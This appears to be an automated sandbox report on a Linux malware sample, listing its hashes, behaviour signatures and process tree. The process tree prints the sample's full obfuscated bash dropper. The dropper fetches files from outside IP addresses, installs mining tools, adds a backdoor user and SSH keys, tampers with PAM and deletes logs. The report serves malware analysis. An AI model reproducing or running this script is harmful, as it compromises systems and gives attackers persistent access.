Resubmissions

27-11-2024 08:55

241127-kvn92stkar 10

27-11-2024 05:48

241127-ghggwszqes 10

Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    27-11-2024 05:48

General

  • Target

    xrx/init0

  • Size

    1.0MB

  • MD5

    73f9917255a953eb749f5a3c90e3b383

  • SHA1

    c8e392cf523aca7e2df62f72d68c83829f0c085d

  • SHA256

    c5c11802623d02ba9b1c2c7a52579dbf0c3aa4c87ae6fc85cbfcd71dffffec27

  • SHA512

    65b8946b67d42003272690266ccddb59ce715edd16eb6e67e8c3e2b34bb9e092ec736900432efbc1c70777c831742f820b61de8098a6438005641df4f3ddbe46

  • SSDEEP

    12288:fbS+JhtEBBYYFkfciIqELZ3OlN6myOP7/i7L95k2rHNq9EnE:fXJ/EBJFkfciIjLZ3Ih/i7LbLNq9

Malware Config

Signatures

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Modifies password files for system users/ groups 1 TTPs 16 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Modifies PAM framework files 1 TTPs 1 IoCs

    Modifies Linux PAM framework files, possibly to intercept credentials.

  • OS Credential Dumping 1 TTPs 12 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 3 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Adds a user to the system 1 IoCs
  • Attempts to change immutable files 34 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Checks mountinfo of local process 1 TTPs 1 IoCs

    Checks mountinfo of running processes which indicate if it is running in chroot jail.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Deletes log files 1 TTPs 1 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies special file permissions 1 TTPs 3 IoCs

    Adds special setuid and/ or setgid bits on a file, possibly to elevate privileges.

  • Write file to user bin folder 2 IoCs
  • Reads process memory 1 TTPs 45 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 5 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Information Discovery 1 TTPs 64 IoCs

    Adversaries may gather information about the system, such as OS, hostname, and hardware details.

  • Software Deployment Tools 1 TTPs 3 IoCs

    Use software deployment tools to execute code.

Processes

  • /tmp/xrx/init0
    /tmp/xrx/init0
    1⤵
      PID:1572
    • /bin/bash
      /tmp/xrx/init0 -c "exec '/tmp/xrx/init0' \"\$@\"" /tmp/xrx/init0
      1⤵
        PID:1572
      • /tmp/xrx/init0
        /tmp/xrx/init0
        1⤵
          PID:1572
        • /bin/bash
          /tmp/xrx/init0 -c " #!/bin/bash z=\" \";xFz='Vwn';SDz='b';fDz='hen';VLz='sh_';xJz='XJB';MJz='> ~';BLz='t=\$';LIz='2.1';eCz='Yun';hLz='MR\"';UJz='aG ';OHz='5.2';gHz='s c';RLz='4';PFz='w';YFz='ser';TFz='for';sHz='d1 ';EKz='tRG';EBz='ing';IBz='l\"';OCz='|/z';eFz='\$6\$';kEz='uth';lz='); ';ZHz='475';hKz='wn ';sFz='yyz';rDz='xri';pCz='nin';DFz='ssh';EHz='g >';vBz='ll';dDz='\" ]';FGz='h3d';jEz='h/a';JFz='ey ';kKz='rsb';RJz='d c';lBz='s\"';mBz='t i';kDz='n/c';qFz='j7.';HGz='W55';DCz='c/p';bFz='rmo';fKz='& d';HEz='o -';gFz='vRN';CEz='lib';QDz=' /e';qBz=' 2>';aJz='eki';vz='/de';ODz='ont';SEz='/.s';XBz='yum';AKz='K89';QCz='ish';SCz='d: ';yEz='ory';GLz='43.';QKz='/tm';RFz='ssw';CFz='~/.';Nz='Gre';wIz='> \$';YEz='eys';EIz='|| ';IGz='9vf';BHz='swd';AIz='.17';RKz='p/.';IIz='://';PHz='52.';iGz='e/.';iFz='SAx';vCz='-rf';uGz='t >';FBz=' wg';PEz='nit';xGz='/us';nCz='.xr';cDz=' \"\$';lKz='64=';lFz='EPo';VIz='m.d';Sz='2m'\\''';TBz=' /d';fEz='g s';WCz=''\\''\\n';fIz='mfi';UEz='aut';XHz='et ';aKz='.x/';YHz='-q ';qGz='ome';tFz='rMl';Uz='or_';ILz='.18';ZFz='s';Pz=''\\''\\0';tDz='-ST';rBz='&1 ';BBz=' \"i';PDz='ab';XIz='mmo';wJz='msu';LGz='2Fq';KIz='.25';MBz='-re';UKz='CP ';fGz='OME';wFz='bJl';EFz=' +i';hGz='hom';CBz='nst';OGz='/'\\'' ';oDz='ed ';lIz='exe';THz='72/';IJz='x \$';aGz=' sh';tGz='roo';uBz='/nu';HFz='\"ss';aCz='rem';YBz=' in';ZBz='sta';WDz='ron';sIz='hto';bIz='! g';sDz='xrx';oCz='x/u';eGz=' \$H';aHz='5 /';aDz='[ !';qKz='s h';XDz='tab';CDz='uni';cGz=' '\\''e';WKz='/se';Vz='Off';sCz='sh ';cHz='u+s';dFz='p '\\''';kCz='/va';eIz='\$pa';PCz='|/f';mJz='XUh';mKz=' '\\'' ';ADz='/.x';nEz='_ke';oGz='x/k';YLz='t0';BIz='8.8';BJz='wd';gKz='iso';SGz='me ';VJz='sud';HCz='rep';RIz='tms';KLz='010';LJz='=/v';QGz='u \$';aLz=' \"K';BKz='vGf';jCz='+x ';SFz='d';sGz='e';qIz='xpo';nz='n';MLz='?us';NIz='82:';WFz='ame';GJz='c';Yz='31m';lCz='r/t';rz=' -v';GKz='bA/';jGz='/au';cEz=' \"r';wGz='n/p';cz='Blu';eDz='; t';iCz='od ';FEz=' -a';Oz='en=';jHz=' /s';nJz='HF2';NDz='/cr';OJz='ash';bCz='ovi';XEz='d_k';uDz='OP ';JLz='9:1';bBz='l 2';QFz='/pa';oBz='-to';VBz='nul';REz='f ~';uIz='sbi';Tz='Col';bJz='vrC';FFz='a ~';QJz='rad';Ez=';36';VKz='.x';SLz='his';xDz='dhc';GHz='rig';ELz=' -s';tJz='Fo6';CIz='2:6';Wz='[0m';Mz=''\\''';sKz='.43';pEz='1';mGz='ed_';HJz=' xr';QHz='178';bz='33m';OBz='tal';vGz='ae ';PGz='\$us';KCz='/ba';mz='the';JBz='apt';GBz='et/';RDz='tc/';gGz=''\\'')';YIz='n-a';yIz='x';Kz='[0;';HLz='154';hz='\$EU';eBz='fi';dCz='Ali';TKz='g S';Iz='='\\''\\';cCz='ng ';AJz='x/p';oHz='pam';DBz='all';HBz='cur';rGz='don';jFz='xOm';gEz='key';fJz='eIe';AFz='mkd';eKz='&>/';dIz=' pa';XKz='x/s';oz='! c';SIz='s >';jDz='/bi';nHz='/sb';KBz='-ge';NGz='vZv';RGz='rna';bHz='d >';SHz=':69';gBz='msr';HDz='r';BGz='GqX';qDz='-9 ';IKz='IRX';NKz='! -';VFz='ern';CKz='1YH';LDz='a /';VDz='c/c';xHz='85.';ez=';34';TIz='fil';ZJz='che';xIz='els';rFz='iqv';dJz='a.m';kBz='ool';TLz='tor';EGz='dOL';tCz='2&>';hDz='x/c';uCz='rm ';FKz='GsN';xCz='ar/';cKz='ure';GDz='b -';xEz='ect';uz='&> ';SKz='x ]';wDz='xmu';JDz='ttr';ZCz='e \"';yGz='r/b';HKz='eTI';uHz=' ht';pDz='pki';NHz='/18';dBz=' > ';bLz='ONO';WEz='ize';hEz=' ~/';ZEz=' ];';OKz='d /';pJz='le/';CHz='mv ';jIz='ona';qEz='ys2';vKz='89:';cLz=' DI';JHz='l -';CJz='brc';aBz='ll ';rHz='| c';jKz='%1';ZIz='f \$';tBz='dev';fBz=' wr';hJz='i01';WGz='\$(s';pHz='_tm';qCz='ll.';IEz='e \$';LCz='sh\\';EDz='cro';UGz='rho';Fz='m'\\''';tEz='h ]';qHz='s |';yKz='s?u';MKz=' [ ';FHz='d.o';mEz='zed';QLz='sb6';nBz='s 2';ALz='lis';hIz='h o';yFz='yLn';PLz='=\$u';yJz='TMM';Dz='3[0';oEz='ys ';YKz='ecu';KEz='min';XLz='ini';FDz='nta';TEz='sh/';LHz='htt';TCz='-f1';PIz='2/p';KFz='ena';DJz='=~/';wBz='dnf';NBz='ins';iEz='.ss';HIz='ttp';JGz='uBh';QIz='am_';yBz='rs=';oIz='uie';WLz='y';xKz='0/u';fz='if ';nDz='fix';XGz='udo';vEz='rea';yCz='tmp';sEz=' -d';VHz=' cd';tz='rl ';bKz='sec';VCz='tr ';DIz='972';GGz='xrF';fLz='3.3';lHz='ms ';cFz='d -';mCz='mp/';sz=' cu';rKz='179';gz='(( ';gDz='cp ';tIz='k /';NCz='in/';RCz=''\\'' |';pz='omm';Xz='Red';uEz=' \"c';Lz='35m';GCz='| g';IDz='cha';nKz='| b';pBz='ols';oJz='3fT';RHz='.82';mFz='7Yx';XFz=' \$u';nGz='s ';Gz='Pur';AEz=' /u';Qz='33[';bGz=' -c';YJz='el ';iJz='KI3';OEz='./i';JJz='ali';pIz='t e';MEz='rti';WIz='/co';jz='== ';bEz='en';ZDz='=/b';hFz='ZIl';hBz=' &>';JCz='bin';rJz='AoR';GIz='q h';UDz='ch ';ICz=' '\\''/';MIz='78.';FLz='79.';UBz='ev/';FIz='wge';OIz='697';kIz='l p';vJz='aBv';NJz='/.b';TJz='ki ';DKz='zhz';kFz='o\$K';qJz='wXq';eEz='vin';NEz='ng\"';gLz='! X';DEz='/up';iz='ID ';eHz='\"pa';hCz='chm';iBz=' ms';QBz=' -y';NLz='erl';iDz='hat';DLz='cd1';fFz='8ai';rEz='&1';EJz='.ba';kGz='tho';dz='e='\\''';dHz=' /b';mDz='o \"';lEz='ori';xz='ull';AGz='9lW';nFz='0FC';gCz='\"';GEz='ed';CGz='EDn';DHz='wd.';ECz='ass';IFz='h k';BFz='ir ';JEz='n \"';LEz='er ';ZLz='it0';gIz='le;';ABz='o \$';XCz=''\\'' '\\''';WJz='o c';kHz='m_t';MCz='|/b';wCz=' /v';LBz='t -';vHz='tp:';vFz='cMO';tHz='-sO';wHz='//1';PKz='var';KJz='as ';GFz='en ';dEz='emo';VEz='hor';rIz='se_';Cz='\\03';TDz='tou';lJz='epj';pKz='64)';fCz='Dun';PBz='l i';FCz='wd ';UIz='e=/';Az='Cya';hHz='han';iKz='-h ';PJz='rc';TGz='-r ';yHz='252';qz='and';BEz='sr/';WHz='1 -';uKz='4.1';HHz='cd ';aEz=' th';Jz='033';pGz='erh';yDz='pi';oFz='NDi';wz='v/n';tKz='.15';ZKz='re ';bDz=' -f';BDz='rx/';uFz='S9w';jJz='RQU';SJz='hee';KDz=' -i';aIz='e ]';LFz='ble';iHz='ged';MFz='d\"';xBz='use';dKz=' </';cJz='8Hy';sBz='> /';UFz=' us';YCz=' '\\'')';Zz='Yel';WBz='l';CLz='64 ';eJz='meU';uJz='97f';YDz='dir';vIz='\" >';UCz=' | ';QEz='[ -';VGz='me=';EEz='dat';mIz='c.s';iIz='pti';LKz='me/';KKz='/ho';dGz='cho';Bz='n='\\''';YGz=' -u';wEz='tin';gJz='m\$L';KHz='sO ';LLz='ers';KGz='jAk';Hz='ple';mHz=']; ';lGz='riz';DGz='O3b';ZGz='me\"';vDz='xxi';ULz='y -';aFz='do';CCz='/et';JKz='y5Y';nIz='o q';kz='0 )';fHz='ord';jBz='r-t';OLz='ist';IHz='n/';cIz=' -q';AHz='pas';BCz='at ';eLz='A V';dLz='O D';MGz='fKc';yz='ech';OFz='ado';rCz='sh';oKz='ase';wKz='101';NFz='/sh';pFz='uD6';kJz='pyY';JIz='185';UHz=' ||';FJz='shr';RBz='2>&';Rz='0;3';cBz='>&1';SBz='1 >';ACz='\$(c';XJz='whe';sJz='0xU';MDz='etc';lDz='tr';MHz='p:/';az='low';DDz='.sh'; eval \"\$Az\$Bz\$Cz\$Dz\$Ez\$Fz\$z\$Gz\$Hz\$Iz\$Jz\$Kz\$Lz\$Mz\$z\$Nz\$Oz\$Pz\$Qz\$Rz\$Sz\$z\$Tz\$Uz\$Vz\$Iz\$Jz\$Wz\$Mz\$z\$Xz\$Iz\$Jz\$Kz\$Yz\$Mz\$z\$Zz\$az\$Iz\$Jz\$Kz\$bz\$Mz\$z\$cz\$dz\$Cz\$Dz\$ez\$Fz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$fz\$oz\$pz\$qz\$rz\$sz\$tz\$uz\$vz\$wz\$xz\$z\$mz\$nz\$z\$yz\$ABz\$Gz\$Hz\$BBz\$CBz\$DBz\$EBz\$FBz\$GBz\$HBz\$IBz\$z\$JBz\$KBz\$LBz\$MBz\$NBz\$OBz\$PBz\$CBz\$DBz\$QBz\$sz\$tz\$RBz\$SBz\$TBz\$UBz\$VBz\$WBz\$z\$XBz\$QBz\$YBz\$ZBz\$aBz\$HBz\$bBz\$cBz\$dBz\$vz\$wz\$xz\$z\$eBz\$z\$fz\$oz\$pz\$qz\$rz\$fBz\$gBz\$hBz\$TBz\$UBz\$VBz\$WBz\$z\$mz\$nz\$z\$yz\$ABz\$Zz\$az\$BBz\$CBz\$DBz\$EBz\$iBz\$jBz\$kBz\$lBz\$z\$JBz\$KBz\$mBz\$CBz\$DBz\$QBz\$iBz\$jBz\$kBz\$nBz\$cBz\$dBz\$vz\$wz\$xz\$z\$XBz\$QBz\$YBz\$ZBz\$aBz\$gBz\$oBz\$pBz\$qBz\$rBz\$sBz\$tBz\$uBz\$vBz\$z\$wBz\$QBz\$YBz\$ZBz\$aBz\$gBz\$oBz\$pBz\$qBz\$rBz\$sBz\$tBz\$uBz\$vBz\$z\$eBz\$z\$eBz\$z\$xBz\$yBz\$ACz\$BCz\$CCz\$DCz\$ECz\$FCz\$GCz\$HCz\$ICz\$JCz\$KCz\$LCz\$MCz\$NCz\$LCz\$OCz\$LCz\$PCz\$QCz\$RCz\$sz\$LBz\$SCz\$TCz\$UCz\$VCz\$WCz\$XCz\$YCz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$yz\$ABz\$cz\$ZCz\$aCz\$bCz\$cCz\$dCz\$eCz\$fCz\$gCz\$z\$hCz\$iCz\$jCz\$kCz\$lCz\$mCz\$nCz\$oCz\$pCz\$ZBz\$qCz\$rCz\$z\$kCz\$lCz\$mCz\$nCz\$oCz\$pCz\$ZBz\$qCz\$sCz\$tCz\$TBz\$UBz\$VBz\$WBz\$z\$uCz\$vCz\$wCz\$xCz\$yCz\$ADz\$BDz\$CDz\$CBz\$DBz\$DDz\$z\$eBz\$z\$EDz\$FDz\$GDz\$HDz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$IDz\$JDz\$KDz\$LDz\$MDz\$NDz\$ODz\$PDz\$z\$uCz\$vCz\$QDz\$RDz\$EDz\$FDz\$SDz\$z\$TDz\$UDz\$CCz\$VDz\$WDz\$XDz\$z\$eBz\$z\$IDz\$JDz\$YDz\$ZDz\$NCz\$IDz\$JDz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$fz\$aDz\$bDz\$cDz\$IDz\$JDz\$YDz\$dDz\$eDz\$fDz\$z\$gDz\$kCz\$lCz\$mCz\$nCz\$hDz\$iDz\$VCz\$jDz\$kDz\$iDz\$lDz\$z\$hCz\$iCz\$jCz\$jDz\$kDz\$iDz\$lDz\$z\$yz\$mDz\$nDz\$oDz\$IDz\$JDz\$gCz\$z\$eBz\$z\$eBz\$z\$pDz\$aBz\$qDz\$rDz\$z\$pDz\$aBz\$qDz\$sDz\$z\$pDz\$aBz\$tDz\$uDz\$vDz\$z\$pDz\$aBz\$tDz\$uDz\$wDz\$z\$pDz\$aBz\$tDz\$uDz\$xDz\$yDz\$z\$IDz\$JDz\$KDz\$AEz\$BEz\$CEz\$DEz\$EEz\$oDz\$tCz\$TBz\$UBz\$VBz\$WBz\$z\$IDz\$JDz\$FEz\$AEz\$BEz\$CEz\$DEz\$EEz\$oDz\$tCz\$TBz\$UBz\$VBz\$WBz\$z\$uCz\$vCz\$AEz\$BEz\$CEz\$DEz\$EEz\$GEz\$z\$yz\$HEz\$IEz\$Az\$JEz\$KEz\$LEz\$ZBz\$MEz\$NEz\$z\$OEz\$PEz\$DDz\$z\$fz\$QEz\$REz\$SEz\$TEz\$UEz\$VEz\$WEz\$XEz\$YEz\$ZEz\$aEz\$bEz\$z\$yz\$HEz\$IEz\$Gz\$Hz\$cEz\$dEz\$eEz\$fEz\$sCz\$gEz\$lBz\$z\$IDz\$JDz\$KDz\$hEz\$iEz\$jEz\$kEz\$lEz\$mEz\$nEz\$oEz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$IDz\$JDz\$FEz\$hEz\$iEz\$jEz\$kEz\$lEz\$mEz\$nEz\$oEz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$uCz\$vCz\$hEz\$iEz\$jEz\$kEz\$lEz\$mEz\$nEz\$oEz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$uCz\$vCz\$hEz\$iEz\$jEz\$kEz\$lEz\$mEz\$nEz\$qEz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$eBz\$z\$fz\$aDz\$sEz\$hEz\$iEz\$tEz\$eDz\$fDz\$z\$yz\$HEz\$IEz\$Gz\$Hz\$uEz\$vEz\$wEz\$fEz\$sCz\$YDz\$xEz\$yEz\$gCz\$z\$AFz\$BFz\$CFz\$DFz\$z\$eBz\$z\$gDz\$gEz\$hEz\$iEz\$jEz\$kEz\$lEz\$mEz\$nEz\$oEz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$IDz\$JDz\$EFz\$FFz\$SEz\$TEz\$UEz\$VEz\$WEz\$XEz\$YEz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$yz\$HEz\$IEz\$Nz\$GFz\$HFz\$IFz\$JFz\$KFz\$LFz\$MFz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$IDz\$JDz\$KDz\$LDz\$MDz\$NFz\$OFz\$PFz\$z\$IDz\$JDz\$KDz\$LDz\$MDz\$QFz\$RFz\$SFz\$z\$TFz\$UFz\$VFz\$WFz\$YBz\$XFz\$YFz\$ZFz\$z\$aFz\$z\$xBz\$bFz\$cFz\$dFz\$eFz\$fFz\$gFz\$hFz\$iFz\$jFz\$kFz\$lFz\$mFz\$nFz\$oFz\$pFz\$qFz\$rFz\$sFz\$tFz\$uFz\$vFz\$wFz\$xFz\$yFz\$AGz\$BGz\$CGz\$DGz\$EGz\$FGz\$GGz\$HGz\$IGz\$JGz\$KGz\$LGz\$MGz\$NGz\$OGz\$PGz\$VFz\$WFz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$EDz\$FDz\$GDz\$QGz\$xBz\$RGz\$SGz\$TGz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$xBz\$UGz\$VGz\$WGz\$XGz\$YGz\$cDz\$xBz\$RGz\$ZGz\$aGz\$bGz\$cGz\$dGz\$eGz\$fGz\$gGz\$z\$uCz\$vCz\$XFz\$YFz\$hGz\$iGz\$DFz\$jGz\$kGz\$lGz\$mGz\$gEz\$nGz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$gDz\$kCz\$lCz\$mCz\$nCz\$oGz\$JFz\$PGz\$pGz\$qGz\$SEz\$TEz\$UEz\$VEz\$WEz\$XEz\$YEz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$rGz\$sGz\$z\$xBz\$bFz\$cFz\$dFz\$eFz\$fFz\$gFz\$hFz\$iFz\$jFz\$kFz\$lFz\$mFz\$nFz\$oFz\$pFz\$qFz\$rFz\$sFz\$tFz\$uFz\$vFz\$wFz\$xFz\$yFz\$AGz\$BGz\$CGz\$DGz\$EGz\$FGz\$GGz\$HGz\$IGz\$JGz\$KGz\$LGz\$MGz\$NGz\$OGz\$tGz\$uGz\$TBz\$UBz\$VBz\$bBz\$cBz\$z\$IDz\$JDz\$KDz\$vGz\$jDz\$wGz\$ECz\$FCz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$IDz\$JDz\$KDz\$vGz\$xGz\$yGz\$NCz\$AHz\$BHz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$CHz\$jDz\$wGz\$ECz\$FCz\$jDz\$wGz\$ECz\$DHz\$lEz\$EHz\$TBz\$UBz\$VBz\$bBz\$cBz\$z\$CHz\$xGz\$yGz\$NCz\$AHz\$BHz\$AEz\$BEz\$JCz\$QFz\$RFz\$FHz\$GHz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$HHz\$jDz\$IHz\$z\$HBz\$JHz\$KHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$UHz\$VHz\$WHz\$KHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$UHz\$FBz\$XHz\$YHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$z\$hCz\$iCz\$ZHz\$aHz\$JCz\$QFz\$RFz\$bHz\$TBz\$UBz\$VBz\$bBz\$cBz\$z\$hCz\$iCz\$cHz\$dHz\$NCz\$AHz\$BHz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$gDz\$jDz\$wGz\$ECz\$FCz\$xGz\$yGz\$NCz\$AHz\$BHz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$yz\$HEz\$IEz\$Nz\$GFz\$eHz\$RFz\$fHz\$gHz\$hHz\$iHz\$gCz\$z\$fz\$aDz\$bDz\$jHz\$JCz\$QFz\$kHz\$lHz\$mHz\$mz\$nz\$z\$HHz\$nHz\$NCz\$z\$HBz\$JHz\$KHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$oHz\$pHz\$qHz\$rHz\$sHz\$tHz\$uHz\$vHz\$wHz\$xHz\$yHz\$AIz\$BIz\$CIz\$DIz\$QFz\$kHz\$lHz\$EIz\$FIz\$LBz\$GIz\$HIz\$IIz\$JIz\$KIz\$LIz\$MIz\$NIz\$OIz\$PIz\$QIz\$RIz\$z\$hCz\$iCz\$jCz\$nHz\$NCz\$oHz\$pHz\$SIz\$TBz\$UBz\$VBz\$bBz\$cBz\$z\$eBz\$z\$oHz\$TIz\$UIz\$MDz\$QFz\$VIz\$WIz\$XIz\$YIz\$kEz\$z\$fz\$QEz\$ZIz\$oHz\$TIz\$aIz\$eDz\$fDz\$z\$fz\$bIz\$HCz\$cIz\$dIz\$kHz\$lHz\$eIz\$fIz\$gIz\$aEz\$bEz\$z\$yz\$mDz\$UEz\$hIz\$iIz\$jIz\$kIz\$QIz\$lIz\$mIz\$nIz\$oIz\$pIz\$qIz\$rIz\$UEz\$sIz\$tIz\$uIz\$wGz\$QIz\$RIz\$vIz\$wIz\$oHz\$TIz\$sGz\$z\$eBz\$z\$eBz\$z\$xIz\$sGz\$z\$HHz\$kCz\$lCz\$mCz\$nCz\$yIz\$z\$HBz\$JHz\$KHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$UHz\$VHz\$WHz\$KHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$UHz\$FBz\$XHz\$YHz\$LHz\$MHz\$NHz\$OHz\$PHz\$QHz\$RHz\$SHz\$THz\$AHz\$BHz\$z\$hCz\$iCz\$jCz\$kCz\$lCz\$mCz\$nCz\$AJz\$ECz\$BJz\$z\$CJz\$DJz\$EJz\$FJz\$GJz\$z\$fz\$bIz\$HCz\$cIz\$HJz\$IJz\$CJz\$eDz\$fDz\$z\$yz\$mDz\$JJz\$KJz\$AHz\$BHz\$LJz\$xCz\$yCz\$ADz\$BDz\$AHz\$BHz\$vIz\$MJz\$NJz\$OJz\$PJz\$z\$eBz\$z\$eBz\$z\$fz\$gz\$hz\$iz\$jz\$kz\$lz\$mz\$nz\$z\$xBz\$QJz\$RJz\$SJz\$TJz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$xBz\$bFz\$cFz\$UJz\$VJz\$WJz\$SJz\$TJz\$sBz\$tBz\$uBz\$aBz\$RBz\$pEz\$z\$xBz\$bFz\$cFz\$UJz\$XJz\$YJz\$ZJz\$aJz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$xBz\$bFz\$cFz\$dFz\$eFz\$bJz\$cJz\$dJz\$eJz\$fJz\$gJz\$hJz\$iJz\$jJz\$kJz\$lJz\$mJz\$nJz\$oJz\$pJz\$qJz\$rJz\$sJz\$tJz\$uJz\$vJz\$wJz\$xJz\$yJz\$AKz\$BKz\$CKz\$DKz\$EKz\$FKz\$GKz\$HKz\$IKz\$JKz\$OGz\$ZJz\$aJz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$CHz\$kCz\$lCz\$mCz\$nCz\$oGz\$JFz\$KKz\$LKz\$ZJz\$aJz\$SEz\$TEz\$UEz\$VEz\$WEz\$XEz\$YEz\$dBz\$vz\$wz\$xz\$qBz\$rEz\$z\$eBz\$z\$fz\$MKz\$NKz\$OKz\$PKz\$QKz\$RKz\$SKz\$eDz\$fDz\$z\$yz\$HEz\$IEz\$Xz\$uEz\$vEz\$wEz\$TKz\$UKz\$YDz\$xEz\$yEz\$gCz\$z\$AFz\$BFz\$kCz\$lCz\$mCz\$VKz\$z\$eBz\$z\$fz\$aDz\$bDz\$wCz\$xCz\$yCz\$ADz\$WKz\$HBz\$aIz\$eDz\$fDz\$z\$CHz\$kCz\$lCz\$mCz\$nCz\$XKz\$YKz\$ZKz\$kCz\$lCz\$mCz\$aKz\$bKz\$cKz\$z\$hCz\$iCz\$jCz\$kCz\$lCz\$mCz\$aKz\$bKz\$cKz\$z\$eBz\$z\$kCz\$lCz\$mCz\$aKz\$bKz\$cKz\$dKz\$tBz\$uBz\$aBz\$eKz\$tBz\$uBz\$aBz\$fKz\$gKz\$hKz\$iKz\$jKz\$z\$xBz\$kKz\$lKz\$ACz\$BCz\$CCz\$DCz\$ECz\$FCz\$GCz\$HCz\$ICz\$JCz\$KCz\$LCz\$MCz\$NCz\$LCz\$OCz\$LCz\$PCz\$QCz\$RCz\$sz\$LBz\$SCz\$TCz\$UCz\$VCz\$WCz\$XCz\$mKz\$nKz\$oKz\$pKz\$z\$HBz\$JHz\$qKz\$HIz\$IIz\$rKz\$sKz\$tKz\$uKz\$vKz\$wKz\$xKz\$YFz\$yKz\$YFz\$ALz\$BLz\$xBz\$kKz\$CLz\$EIz\$DLz\$ELz\$uHz\$vHz\$wHz\$FLz\$GLz\$HLz\$ILz\$JLz\$KLz\$xGz\$LLz\$MLz\$NLz\$OLz\$PLz\$YFz\$QLz\$RLz\$z\$SLz\$TLz\$ULz\$GJz\$z\$uCz\$vCz\$hEz\$EJz\$VLz\$SLz\$TLz\$WLz\$z\$uCz\$vCz\$wCz\$xCz\$yCz\$ADz\$BDz\$XLz\$YLz\$z\$uCz\$vCz\$YBz\$ZLz\$z\$yz\$HEz\$IEz\$Zz\$az\$aLz\$bLz\$cLz\$dLz\$eLz\$fLz\$gLz\$hLz\$z\$yz\$HEz\$IEz\$Tz\$Uz\$Vz\"" /tmp/xrx/init0
          1⤵
          • Modifies PAM framework files
          PID:1572
          • /usr/bin/apt-get
            apt-get install -y msr-tools
            2⤵
            • Deletes log files
            • Software Deployment Tools
            PID:1573
            • /usr/bin/dpkg
              /usr/bin/dpkg --print-foreign-architectures
              3⤵
                PID:1574
              • /usr/bin/dpkg
                /usr/bin/dpkg --print-foreign-architectures
                3⤵
                  PID:1578
                • /usr/lib/apt/methods/http
                  /usr/lib/apt/methods/http
                  3⤵
                    PID:1579
                  • /usr/lib/apt/methods/http
                    /usr/lib/apt/methods/http
                    3⤵
                      PID:1580
                    • /bin/sh
                      /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
                      3⤵
                        PID:1581
                        • /usr/sbin/dpkg-preconfigure
                          /usr/sbin/dpkg-preconfigure --apt
                          4⤵
                          • OS Credential Dumping
                          PID:1582
                          • /usr/local/sbin/locale
                            locale charmap
                            5⤵
                              PID:1583
                            • /usr/local/bin/locale
                              locale charmap
                              5⤵
                                PID:1583
                              • /usr/sbin/locale
                                locale charmap
                                5⤵
                                  PID:1583
                                • /usr/bin/locale
                                  locale charmap
                                  5⤵
                                    PID:1583
                              • /usr/bin/dpkg
                                /usr/bin/dpkg --assert-multi-arch
                                3⤵
                                  PID:1584
                                • /usr/bin/dpkg
                                  /usr/bin/dpkg --assert-protected-field
                                  3⤵
                                    PID:1585
                                  • /usr/bin/dpkg
                                    /usr/bin/dpkg --status-fd 42 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb
                                    3⤵
                                    • Write file to user bin folder
                                    PID:1586
                                    • /usr/sbin/sh
